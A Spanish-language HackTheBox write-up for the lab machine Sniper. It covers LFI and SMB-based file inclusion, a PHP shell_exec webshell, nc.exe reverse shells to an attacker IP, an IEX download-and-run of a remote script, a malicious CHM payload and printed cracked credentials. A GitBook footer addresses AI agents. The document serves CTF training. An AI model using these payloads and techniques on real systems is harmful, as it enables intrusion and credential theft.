> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-medium/sniper-hackthebox-writeup.md).

# Análisis de Sniper HackTheBox

{% embed url="<https://app.hackthebox.com/machines/211>" %}

{% hint style="warning" %}
Habilidades:

* Inclusión local de archivos (LFI)
* Inclusión remota de archivos (RFI) (Fallido)
* Inclusión remota de archivos a través de SMB Server (técnica net usershare) (Éxito)
* Creación de una webshell y consecución de ejecución remota de comandos (RCE)
* Fuga de información (Pivotado de usuario)
* Jugando con Chisel y ScriptBlocks usando Invoke-Command
* Creación de un archivo CHM malicioso (Out-CHM.ps1) (Escalada de privilegios)
  {% endhint %}

## Reconocimiento

**Configuración del espacio de trabajo:**

Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

<figure><img src="/files/1bcc066acc8d5a047c10cb249728e4a383d51b33" alt="" width="563"><figcaption></figcaption></figure>

**Comprobación de conectividad VPN**

Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

<figure><img src="/files/b3ff5ce909784898e4df5556f2ab5092e2bf3d18" alt="" width="563"><figcaption></figcaption></figure>

**Descubrimiento de puertos abiertos con Nmap:**

Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.151 -oG allPorts
```

<figure><img src="/files/1d219f82bc7292e1b9781a59c0070251b177f4cf" alt=""><figcaption></figcaption></figure>

**Análisis de puertos abiertos con extractPorts:**

Usa la función extractPorts para mostrar los puertos abiertos en un formato conciso y copiarlos al portapapeles. (80,135,139,445,496,67)

<figure><img src="/files/9a53509852a340f7383747c10e954dec8c2432ad" alt="" width="563"><figcaption></figcaption></figure>

**Escaneo de versiones de puertos con Nmap:**

Usa Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted":

```bash
nmap -sCV -p80,135,139,445,49667 10.10.10.151 -oN targeted
```

<figure><img src="/files/7d01ef0005f516cf2b660468b768b90367ec97ad" alt=""><figcaption></figcaption></figure>

### Puerto 80:

<figure><img src="/files/b7d854ee295b29cabc11ad5e2a12accb96bf88ae" alt=""><figcaption></figcaption></figure>

**Análisis con `whatweb`:**

Usamos `whatweb` para identificar las tecnologías utilizadas por el servidor web:

{% code overflow="wrap" fullWidth="false" %}

```bash
whatweb 10.10.10.151
http://10.10.10.151 [200 OK] Bootstrap[3.0.0], Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.10.151], JQuery[2.1.3], Microsoft-IIS[10.0], PHP[7.3.1], Script, Title[Sniper Co.], X-Powered-By[PHP/7.3.1]
```

{% endcode %}

## **Vulnerabilidad LFI :**

En la página de cambio de idioma, había un `lang` parámetro para cargar diferentes archivos PHP según el idioma elegido.

<figure><img src="/files/3a092dbd6cc630989e9a0aaccc9a9fe6afc40e29" alt="" width="366"><figcaption></figcaption></figure>

Lo probamos con un archivo local del sistema:

```url
http://10.10.10.151/blog/?lang=/Windows/System32/drivers/etc/hosts
```

* Esto nos permitió mostrar el contenido del `hosts` archivo.

<figure><img src="/files/1bd11fe28309351eb0d82b642506758ffa57c6c1" alt=""><figcaption></figcaption></figure>

**Intentos de lectura de archivos sensibles con `php://filter`:**

Intentamos usar la LFI para leer el `index.php` archivo del servidor web Microsoft IIS ubicado en `/inetpub/wwwroot/index.php`, pero la operación a través de `php://filter` no funcionó.

<figure><img src="/files/4214ba2619cc471e19efbf7845634c9325b9c83b" alt="" width="563"><figcaption></figcaption></figure>

```url
php://filter/convet.base64-encode/ressource=/inetpub/wwwroot/index.php
```

<figure><img src="/files/108bc11ecf9513cc450cab9c5926d3962427a26c" alt="" width="563"><figcaption></figcaption></figure>

### Inclusión remota de archivos (RFI) (Fallido)

#### Prueba de RFI vía servidor web remoto:

Intentamos cargar un archivo remoto a través de la `?lang=http://10.10.14.3/index.html` URL apuntando a nuestro servidor web local con Python3.

```bash
python3 -m http.server 80
```

```url
?lang=http://10.10.14.3/index.html
```

Pero no funcionó.

<figure><img src="/files/b84923e35fb7237e1bb742146bf5b2b8261c4e0e" alt="" width="518"><figcaption></figcaption></figure>

## Inclusión remota de archivos (servidor SMB)

**Crear servidor SMB:**

Creamos un servidor SMB local usando `smbserver.py` y compartimos el directorio actual:

```bash
smbserver.py share $(pwd) -smb2support
```

Luego intentamos cargar un archivo desde el servidor SMB cambiando el `lang` parámetro

```bash
?lang=/10.10.14.3/share/index.html
```

* Esta vez, el servidor interpretó correctamente nuestro `index.html` archivo, mostrando su contenido ("Hello World").

<figure><img src="/files/84991b6bf63b82dc41a4254f23a8db565513639c" alt="" width="563"><figcaption></figcaption></figure>

**Crear un archivo webshell PHP (`cmd.php)`**

Creamos un `cmd.php` archivo en nuestro servidor SMB para ejecutar comandos remotos mediante el `cmd` parámetro:

```bash
<?php
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>
```

/*/* Ejecución de comandos vía SMB/*/*

```bash
//10.10.14.3/share/cmd.php&cmd=<command>
```

Usando la siguiente URL, ejecutamos el `whoami` comando:

```bash
//10.10.14.3/share/cmd.php&cmd=whoami
```

<figure><img src="/files/31707e597ed7e277be2c2e93d7d7bb127149607f" alt="" width="563"><figcaption></figcaption></figure>

### Shell inversa (nc.exe)

**Descargar `nc.exe` para shell inversa:**/ Recuperamos el `nc.exe` binario desde las herramientas en ejecución en `/usr/share/SecLists/Web-Shells/FuzzDB/nc.exe` y lo copiamos al directorio de trabajo.

```bash
locate nc.exe 
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .
```

**Escuchar en el puerto 443:**/ Configuramos un listener con `nc` para escuchar en el puerto 443:

```bash
rlwrap nc -nvlp 443
```

**Ejecución de la shell inversa vía SMB:**/ Luego lanzamos una shell inversa apuntando el `cmd` parámetro a nuestro archivo

```
?lang=//10.10.14.3/share/cmd.php&cmd=//10.10.14.3/share/nc.exe -e cmd 10.10.14.3 443
```

Así obtuvimos una shell inversa en nuestra máquina.

<figure><img src="/files/c0a445a8c4126658024d1aae0077189ba2769ccc" alt="" width="563"><figcaption></figcaption></figure>

## Escalada de privilegios

**Buscar archivos sensibles:**/ Buscamos información sensible en archivos PHP y encontramos el `db.php` archivo que contenía credenciales de la base de datos:

* Usuario: `dbuser`
* Contraseña: `36mEAhz/B8xQ~2VM`

<figure><img src="/files/710c372df17e2d226ce4dd7a881a8d4993d5dcfd" alt=""><figcaption></figcaption></figure>

**Validación de credenciales para otro usuario:**

<figure><img src="/files/261f1bbd6a9dd1b2e59018d1ba6da215ed423dbf" alt="" width="563"><figcaption></figcaption></figure>

Descubrimos otro usuario llamado **Chris** además del usuario **Administrador**. Usamos **CrackMapExec** para validar si las `Chris` credenciales eran válidas:

```bash
crackmapexec smb 10.10.10.151 -u 'Chris' -p '36mEAhz/B8xQ~2VM'
```

* La conexión fue exitosa.

<figure><img src="/files/bc75ab3b7b541aff341d6a8f00808dbff482d765" alt=""><figcaption></figcaption></figure>

**Verificar los privilegios del usuario "Chris":**

* Observamos que el usuario `Chris` pertenecía al grupo **Remote Management User** lo que le permitía conectarse de forma remota.

<figure><img src="/files/e6cf3b9845d737f64a2549f5354d11ef42ece233" alt="" width="563"><figcaption></figcaption></figure>

/*/* Análisis de puertos abiertos\:/*/*

El puerto necesario para la conexión remota (puerto 5985, usado por WinRM) no estaba abierto externamente, sino internamente. Usamos `netstat` para comprobar los puertos en escucha en la máquina objetivo:

```bash
netstat -an | findstr "LISTEN"
```

<figure><img src="/files/6c58b9163064d84ea6685fa93ed2f953ebbfb91e" alt="" width="563"><figcaption></figcaption></figure>

## Redirección de puertos (5985 WinRM)

### 1. PowerShell

Iniciamos PowerShell en nuestra máquina atacante:

```bash
powershell
```

Recuperamos el nombre del entorno Windows con el comando `hostname`, y encontramos que el nombre del host era `Sniper`.

```powershell
hostname
```

Luego creamos una variable para el usuario `Chris` y otra para la contraseña usando `ConvertTo-SecureString`:

```powershell
$user = "Sniper/Chris"
```

```powershell
$password = ConvertTo-SecureString '36mEAhz/B8xQ~2VM' -AsPlainText -Force
```

Luego creamos un `PSCredential` objeto para poder ejecutar comandos remotos en la máquina objetivo:

```bash
$cred = New-Object System.Management.Automation.PSCredential($user, $password)
```

**Ejecución de controles remotos:**/ Usamos el siguiente comando para ejecutar `whoami` de forma remota y validar el acceso:

```powershell
Invoke-Command -Credential $cred -ComputerName Sniper -ScriptBlock {whoami}
```

* Esto nos permitió confirmar que estábamos conectados como **Chris**.

<figure><img src="/files/cdc6dbed5a71c1dc96b9d31e76ba628a297264ac" alt=""><figcaption></figcaption></figure>

**Shell inversa :**/ Para obtener acceso completo al sistema, montamos un listener en el puerto 4444:

```bash
rlwrap nc -nlvp 4444
```

Luego ejecutamos una shell inversa usando `nc.exe` desde nuestro servidor SMB:

{% code overflow="wrap" %}

```powershell
Invoke-Command -Credential $cred -ComputerName Sniper -ScriptBlock {//10.10.14.3/share/nc.exe -e cmd 10.10.14.3 4444
```

{% endcode %}

<figure><img src="/files/6904ad99cc042aa8ca40a2e9636bacb8384a65eb" alt="" width="563"><figcaption></figcaption></figure>

### 2. Chisel

{% embed url="<https://github.com/jpillora/chisel/releases>" %}

**Descarga y preparación de archivos:**/ Descargamos los archivos comprimidos **Chisel** archivos, a saber:

* `chisel-linux`
* `chisel-windows.exe`

{% embed url="<https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_linux_amd64.gz>" %}

{% embed url="<https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_windows_amd64.gz>" %}

Después de extraerlos, transferimos el **Chisel** archivo para Windows a la máquina objetivo:

```bash
copy //10.10.14.3/smb/chisel-windows.exe chisel-windows.exe
```

<figure><img src="/files/b6f884b05c83c64681b550cc3a4d7d06025e0814" alt=""><figcaption></figcaption></figure>

**Preparando la máquina atacante con Chisel:**/ Lanzamos **Chisel** en modo servidor en la máquina atacante en el puerto 8888:

```bash
./chisel-linux server -p 8888 -reverse
```

Luego, en la máquina Windows objetivo, ejecutamos **Chisel** en modo cliente para conectarse a nuestra máquina atacante y redirigir el puerto 5985 a nuestra máquina:

```bash
chisel-windows.exe client 10.10.14.3:8888 R:5985:127.0.0.1:5985
```

<figure><img src="/files/70b4148b72cf7a2b8d14a9620a586dc835ee9e68" alt=""><figcaption></figcaption></figure>

**Verificación del puerto redirigido con `lsof`:**/ Comprobamos que el puerto 5985 estaba correctamente redirigido con el comando:

<figure><img src="/files/af5d8e40d97231b3bf7c49f53a3acab9365668a2" alt=""><figcaption></figcaption></figure>

**Inicio de sesión con WinRM:**/ Usamos **CrackMapExec** para probar la conexión mediante **WinRM** en el puerto 5985 redirigido:

```bash
crackmapexec winrm 10.10.14.3 -u 'Chris' -p '36mEAhz/B8xQ~2VM'
```

* Obtuvimos el símbolo **comprometido**, confirmando que habíamos logrado acceder a la máquina vía WinRM.

<figure><img src="/files/b4d286424daaf349e95ab0957df052ec6665e1ae" alt=""><figcaption></figcaption></figure>

**Conexión final con Evil-WinRM:**/ Finalmente, usamos **Evil-WinRM** para obtener una shell remota como **Chris**:

```bash
evil-winrm -i 10.10.14.3 -u 'Chris' -p '36mEAhz/B8xQ~2VM'
```

### Bandera user.txt :)

<figure><img src="/files/7e50b0b5dbb0603038658fa703b176fe8ef31a83" alt=""><figcaption></figcaption></figure>

**Exploración del directorio "docs":**/ En la raíz de **Windows**, encontramos una carpeta **docs** que contiene un archivo `note.txt` archivo con el siguiente mensaje:

<figure><img src="/files/15a14a20df0457e45e1d20678df1a808d3baa329" alt=""><figcaption></figcaption></figure>

> Hola Chris,
>
> Tus habilidades en PHP son realmente malas. Contacta con Yamitenshi para que te enseñe a usarlo, luego arregla el sitio porque tiene muchos errores. También espero que hayas preparado la documentación para nuestra nueva aplicación. Déjala aquí cuando termines.
>
> Atentamente,/ CEO de Sniper.

**Buscar documentación en el sistema:**/ Buscamos la documentación mencionada por el CEO y la encontramos en el **Downloads** directorio bajo el **instructions.chm** archivo.

<figure><img src="/files/bdccccebff1014059742e903a878686ee364db61" alt="" width="563"><figcaption></figcaption></figure>

### **Creación de archivo CHM malicioso:**

Después de descubrir que el CEO quería ver **CHM** archivos en el **docs** directorio, buscamos en Internet cómo crear archivos CHM maliciosos.

{% embed url="<https://github.com/samratashok/nishang/blob/master/Client/Out-CHM.ps1>" %}

**Descargar HTML Help Tool:**/ Descargamos **HTML Help** y usamos un script de PowerShell para crear un archivo CHM malicioso

* [HTML Help](https://archive.org/download/htmlhelp/htmlhelp.exe)

```bash
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Client/Out-CHM.ps1')
```

Luego modificamos el script para ejecutar un comando malicioso remoto mediante **nc.exe**:

```bash
Out-CHM -Payload "//10.10.14.3/smb/nc.exe -e cmd 10.10.14.3 443" -HHCPath "C:/Program Files (x86)/HTML Help Workshop"
```

<figure><img src="/files/62637d20712bca678f53d7d90cfb096e2580a23a" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/4c772cf0cc013a353f986bc46ffeb41ce03a700c" alt="" width="563"><figcaption></figcaption></figure>

**Inyección de archivo CHM malicioso en el directorio objetivo:**/ Hemos configurado un servidor SMB en nuestra máquina atacante para transferir el archivo malicioso a la máquina Windows objetivo:

```bash
smbserver.py smbFolder $(pwd) -smb2support -username jordan -password jordan1234
```

/*/* Conectarse al recurso compartido SMB desde la máquina víctima:/*/*/ Desde la máquina Windows objetivo, montamos el recurso compartido SMB y copiamos el archivo malicioso `doc.chm` archivo:

```powershell
net use x: //192.168.0.190/smbFolder /user:jordan jordan1234
copy ./doc.chm x:/doc.chm
```

**Preparando la shell inversa:**/ Lanzamos un listener en nuestra máquina atacante, esperando una conexión de shell inversa:

```bash
rlwrap nc -nlvp 443
```

<figure><img src="/files/f238fbde46659738568bdb37b67f3bf8096c869a" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/cec698307a80aa8d48402eea289ca605bfb71fb7" alt="" width="563"><figcaption></figcaption></figure>

/*/* Problema encontrado:/*/*/ Aunque se visualizó el archivo CHM, no recibimos una shell inversa. Sin embargo, logramos capturar un **SMB Relay V2** en nuestro servidor. Esto nos proporcionó un hash de autenticación para el usuario `Administrador`

<figure><img src="/files/5108149b58f2cfbccf25d51ba369cc5bc3823157" alt=""><figcaption></figcaption></figure>

#### **Crackear el hash de Administrador:**

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

`Administrator:butterfly!#1`

<figure><img src="/files/40521e5dbd23db321138942814d227d511a3d7c1" alt=""><figcaption></figcaption></figure>

#### **Iniciar sesión como administrador:**

Con las credenciales obtenidas, usamos **Evil-WinRM** para conectarnos a la máquina como administrador:

```bash
evil-winrm -i 10.10.14.3 -u 'Administrator' -p 'butterfly!#1'
```

<figure><img src="/files/f6d9194571b4ebac733bffe086e05154593adbdf" alt=""><figcaption></figcaption></figure>

### Bandera root.txt :)

<figure><img src="/files/d308977fe6019c9bfa8c14d0d9f161c7d62535dd" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/9206ad7525c24780911764da272c0cd9a47ef186" alt="" width="521"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-medium/sniper-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
